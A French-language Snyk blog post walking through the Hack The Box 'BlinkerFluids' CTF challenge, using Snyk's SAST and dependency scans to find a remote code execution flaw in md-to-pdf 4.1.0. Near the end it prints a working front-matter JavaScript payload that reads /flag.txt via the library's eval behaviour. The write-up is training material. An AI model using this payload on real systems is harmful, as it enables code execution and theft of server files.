Résolvez les défis de Hack the Box et d’autres défis CTF avec Snyk

Hack The Box (HTB) est une plateforme qui gamifie la formation à la cybersécurité. Elle s’adresse aux futurs pentesters, mais aussi aux développeurs qui souhaitent devenir des référents en sécurité — ou simplement mieux comprendre le mode de pensée des adversaires — afin de renforcer la sécurité de leurs applications.

Je crois à l’efficacité de la gamification dans la formation et l’éducation, car soyons honnêtes : qui n’a jamais participé à une formation interne en sécurité ou révisé pour un examen de certification, avant d’avoir oublié la moitié de ce qu’il avait appris six mois plus tard ? HTB adopte une approche différente avec ses jeux pratiques de type capture the flag (CTF). Les joueurs pénètrent dans une machine, généralement une machine virtuelle Linux ou Windows, en découvrant et en exploitant des vulnérabilités afin de récupérer deux drapeaux : d’abord celui d’un utilisateur standard, puis celui de l’utilisateur root, en élevant leurs privilèges. Un drapeau est simplement le contenu d’un fichier texte présent sur la machine.

En plus des « machines » (les principaux éléments de la plateforme), Hack The Box propose également des tâches plus courtes auxquelles vous pouvez participer, appelées « Challenges ». Elles ne demandent généralement de trouver qu’un seul drapeau, mais comprennent souvent un ensemble complet de fichiers de ressources à télécharger. Il peut s’agir d’un fichier pcap à analyser avec Wireshark ou du code source complet de l’application concernée, qui vous permet d’en examiner la structure et le code — c’est précisément là que Snyk intervient.

Snyk vous aide à trouver plus rapidement les vulnérabilités et les points d’entrée potentiels. La CLI Snyk vous permet d’exécuter des tests SAST (analyse statique de la sécurité des applications) et SCA (analyse de la composition logicielle) sur votre projet. Elle analyse les fichiers manifestes de l’application, comme package.json, pour repérer les vulnérabilités connues dans les bibliothèques open source. Elle signale même les preuves de concept (PoC).

Analyse du défi BlinkerFluids

Le défi BlinkerFluids illustre parfaitement le fonctionnement de HTB. Comme il est assez facile et constitue un bon point de départ, je vais m’en servir comme exemple dans cet article de blog.

Une fois le défi lancé, vous obtenez l’adresse IP et le port de l’hôte (46.101.2.216:32221 dans cet exemple). En les ouvrant dans un navigateur, vous accédez à un site web doté d’une interface simple.

Voyons ce qui se cache derrière cette URL cible en ouvrant http://46.101.2.216:32221.

L’application se compose d’une seule page présentant une liste de factures. Vous pouvez les exporter au format PDF, les supprimer ou en créer de nouvelles.

En passant le curseur sur le lien d’export PDF, on constate que les PDF sont servis depuis un dossier qui semble contenir des ressources statiques.

L’éditeur de création de factures semble proposer un éditeur WYSIWYG qui accepte du texte en langage de balisage (Markdown), puis le convertit en PDF.

Avant d’analyser davantage l’hôte cible, téléchargeons les ressources fournies avec le défi. Après avoir téléchargé et extrait le fichier ZIP, nous obtenons le code source complet de l’application, une application Node empaquetée sous forme d’image Docker — avec le Dockerfile et le fichier package.json.

On trouve également un fichier flag.txt dans le dossier racine. Dans les défis HTB, le drapeau se trouve généralement à l’emplacement /flag.txt. Toutefois, le fichier de cette archive ZIP n’est qu’un substitut ; ce n’est pas le vrai drapeau que nous cherchons. La plateforme HTB génère et renouvelle ces drapeaux en ligne selon sa propre logique. Quoi qu’il en soit, nous connaissons maintenant la recette et les ingrédients de l’application BlinkerFluids.

1─$ tree -L 2 
2. 
3├── build-docker.sh 
4├── challenge 
5│ ├── database.js 
6│ ├── helpers 
7│ ├── index.js 
8│ ├── node_modules 
9│ ├── package.json 
10│ ├── package-lock.json
11│ ├── routes 
12│ ├── static 
13│ └── views 
14├── config 
15│ └── supervisord.conf 
16├── Dockerfile 
17└── flag.txt 
187 directories, 8 files

L’application proprement dite se trouve dans le sous-dossier « challenge ». On y trouve plusieurs bibliothèques Node définies comme dépendances directes et transitives dans node_modules, ainsi que le dossier static, qui semble servir les PDF exportés vus plus haut.

1╰─$ tree -L 2 
2. 
3├── database.js 
4├── helpers 
5│ └── MDHelper.js 
6├── index.js 
7├── node_modules 
8│ ├── ... 
9│ ├── marked 
10│ ├── md-to-pdf 
11│ ├── media-typer 
12│ ├── ... 
13├── package.json 
14├── package-lock.json 
15├── routes 
16│ └── index.js 
17├── static 
18│ ├── css 
19│ ├── images 
20│ ├── invoices 
21│ └── js 
22└── views 
23└── index.html 
24379 directories, 7 files

Analyse des vulnérabilités avec Snyk

Puisque nous cherchons un moyen de pénétrer dans l’application et de récupérer le fichier /flag.txt sur l’instance en ligne, nous pouvons étudier le code en détail pour en comprendre la logique. Pour gagner du temps et de la place, je ne vais pas approfondir tous les détails dans cet article.

Nous cherchons essentiellement des vulnérabilités dans le code personnalisé ou dans les dépendances directes et indirectes (transitives).

La CLI Snyk nous permet de faire les deux. Si vous n’avez pas installé Snyk, vous pouvez le faire en exécutant la commande suivante :

1npm i -g snyk

ou en utilisant toute autre méthode de votre choix, comme indiqué sur la page d’installation de la CLI Snyk.

Dans le sous-dossier challenge, commençons par exécuter un test SAST sur le code personnalisé :

1snyk code test

Voici les résultats obtenus :

1$ snyk code test
2
3Testing 
4/home/mconradt/Documents/HTB/Challenges/web_blinkerfluids/challenge ...
5
6  ✗ [Medium] Cross-Site Request Forgery (CSRF) 
7    Path: index.js, line 2 
8    Info: Consider using csurf middleware for your Express app to protect against CSRF   attacks.
9
10  ✗ [Medium] Information Exposure 
11    Path: index.js, line 2 
12    Info: Disable X-Powered-By header for your Express app (consider using Helmet middleware), because it exposes information about the used framework to potential attackers. 
13
14  ✗ [Medium] Allocation of Resources Without Limits or Throttling 
15    Path: routes/index.js, line 9 
16    Info: This endpoint handler performs a file system operation and does
17not use a rate-limiting mechanism. It may enable the attackers to perform Denial-of-service attacks. Consider using a rate-limiting middleware such as express-limit. 
18
19  ✗ [High] Cross-site Scripting (XSS) 
20    Path: static/js/main.js, line 20 
21    Info: Unsanitized input from data from a remote resource flows into append, where it is used to dynamically construct the HTML page on client side. This may result in a DOM Based Cross-Site Scripting attack (DOMXSS). 
22
23✔ Test completed
24
25Organization: e-corp-demo 
26Test type: Static code analysis 
27Project path: 
28/home/mconradt/Documents/HTB/Challenges/web_blinkerfluids/challenge 
29
30Summary:
31
32  4 total Code issues: | 1 High | 3 Medium

On trouve bien quelques vulnérabilités, dont une de gravité élevée, mais aucune ne nous permet d’avancer : une XSS ne nous est pas vraiment utile dans ce cas. Passons donc à un test SCA.

Dans le cadre d’un test SCA, Snyk analyse les fichiers manifestes d’un projet (pour Node.js, il s’agit de package.json et package-lock.json).

1$ cat package.json 
2↵ 1 
3{ 
4        "name": "blinker-fluids", 
5        "version": "1.0.0", 
6        "description": "", 
7        "main": "index.js", 
8        "scripts": { 
9                "start": "node index.js" 
10        }, 
11        "keywords": [], 
12        "author": "rayhan0x01", 
13        "license": "ISC", 
14        "dependencies": { 
15                "express": "4.17.3", 
16                "md-to-pdf": "4.1.0", 
17                "nunjucks": "3.2.3", 
18                "sqlite-async": "1.1.3", 
19                "uuid": "8.3.2" 
20        }, 
21        "devDependencies": { 
22                "nodemon": "^1.19.1" 
23        } 
24} 

Le fichier package.json ne compte que 5 dépendances directes, mais le fichier package-lock.json en révèle 371 au total, dépendances transitives comprises. Cela fait beaucoup de vulnérabilités à vérifier manuellement. Exécutons la commande suivante :

1$ npm install 
2$ snyk test

Voici les résultats obtenus :

1$ snyk test
2
3Testing
4/home/mconradt/Documents/HTB/Challenges/web_blinkerfluids/challenge...
5
6Tested 286 dependencies for known issues, found 4 issues, 11 vulnerable paths. 
7
8Issues to fix by upgrading: 
9
10  Upgrade md-to-pdf@4.1.0 to md-to-pdf@5.0.2 to fix 
11  ✗ Regular Expression Denial of Service (ReDoS) [Medium Severity]  [https://security.snyk.io/vuln/SNYK-JS-MARKED-2342073] in marked@2.1.3 introduced by md-to-pdf@4.1.0 > marked@2.1.3 
12  ✗ Regular Expression Denial of Service (ReDoS) [Medium Severity] [https://security.snyk.io/vuln/SNYK-JS-MARKED-2342082] in marked@2.1.3 introduced by md-to-pdf@4.1.0 > marked@2.1.3 
13  ✗ Remote Code Execution (RCE) [Critical Severity] 
14[https://security.snyk.io/vuln/SNYK-JS-MDTOPDF-1657880] in md-to pdf@4.1.0 
15    introduced by md-to-pdf@4.1.0 
16
17Issues with no direct upgrade or patch: 
18  ✗ Regular Expression Denial of Service (ReDoS) [High Severity] [https://security.snyk.io/vuln/SNYK-JS-ANSIREGEX-1583908] in ansi regex@2.1.1 
19    introduced by md-to-pdf@4.1.0 > listr@0.14.3 > listr-update renderer@0.5.0 > strip-ansi@3.0.1 > ansi-regex@2.1.1 and 7 other path(s) This issue was fixed in versions: 3.0.1, 4.1.1, 5.0.1, 6.0.1 
20
21Organization: e-corp-demo 
22Package manager: npm 
23Target file: package-lock.json 
24Project name: blinker-fluids 
25Open source: no 
26Project path: 
27/home/mconradt/Documents/HTB/Challenges/web_blinkerfluids/challenge 
28Licenses: enabled

Voilà qui est plus intéressant. Nous pouvons ignorer les problèmes de ReDoS, car provoquer une interruption de service ne nous aiderait pas à accéder à la plateforme. En revanche, l’Remote Code Execution (RCE) critique dans md-to-pdf semble très prometteuse : c’est exactement ce qu’il nous faut. On peut supposer que md-to-pdf est la bibliothèque auxiliaire utilisée pour convertir le Markdown des factures en PDF.

On voit ici toute la puissance de Snyk. En quelques secondes, l’outil analyse les dépendances du projet, signale les vulnérabilités et fournit même un lien vers la Snyk Vulnerability Database, avec une preuve de concept d’exploitation ainsi que des liens vers le rapport d’incident d’origine :

Ces informations nous aideront à exploiter la vulnérabilité. Il convient toutefois de noter que le rapport de Snyk recommande également une solution, comme le montre la capture d’écran ci-dessus : il s’agit donc de conseils vraiment exploitables.

1How to fix? 
2Upgrade md-to-pdf to version 5.0.0 or higher.

Mais puisque nous jouons maintenant le rôle de l’attaquant, consultons le problème GitHub d’origine pour en savoir plus.

Comme indiqué dans le problème GitHub, le souci vient de la bibliothèque gray-matter (utilisée par md-to-pdf pour analyser le front matter), qui expose par défaut un moteur JavaScript. Concrètement, elle exécute eval sur le Markdown fourni, ce qui permet à toute personne contrôlant son contenu d’exécuter du code JavaScript arbitraire.

On peut consulter la PoC d’origine, puis, plus bas dans les commentaires, une PoC légèrement modifiée.

Cette PoC tente de lister et d’afficher le contenu d’un dossier. Comme nous voulons accéder au contenu du drapeau situé dans /flag.txt, nous l’adaptons légèrement pour lire le fichier du drapeau :

1---js 
2{ 
3  css: `body::before { content: 
4"${require('fs').readFileSync('/flag.txt')}"; display: block }`, } 
5---

En collant ce code dans le générateur de factures et en cliquant sur Enregistrer, nous obtenons un PDF contenant le drapeau recherché.

Soumettez ce drapeau et le défi est résolu. Au suivant ! :)

Devenez un champion du CTF avec Snyk

Les défis Hack The Box sont un moyen ludique de découvrir les vulnérabilités et leur exploitation. Snyk nous a aidés à résoudre ce défi Hack The Box en analysant rapidement les dépendances de l’application et en signalant une vulnérabilité RCE critique, accompagnée d’informations sur son exploitation. Snyk a également fourni aux développeurs de l’application des indications pour corriger le problème.

À noter dans votre agenda : Snyk organisera le CTF « Fetch the Flag » le 9 novembre. Pensez à vous inscrire et à nous rejoindre pour participer à 16 défis.

À propos de l’auteur

Mathias Conradt est entrepreneur et professionnel de la cybersécurité. Il possède une expérience en ingénierie logicielle et en avant-vente, est Snyk Ambassador et dirige le chapitre allemand de DevSecCon. Il participe également à des CTF. Découvrez son site personnel ici.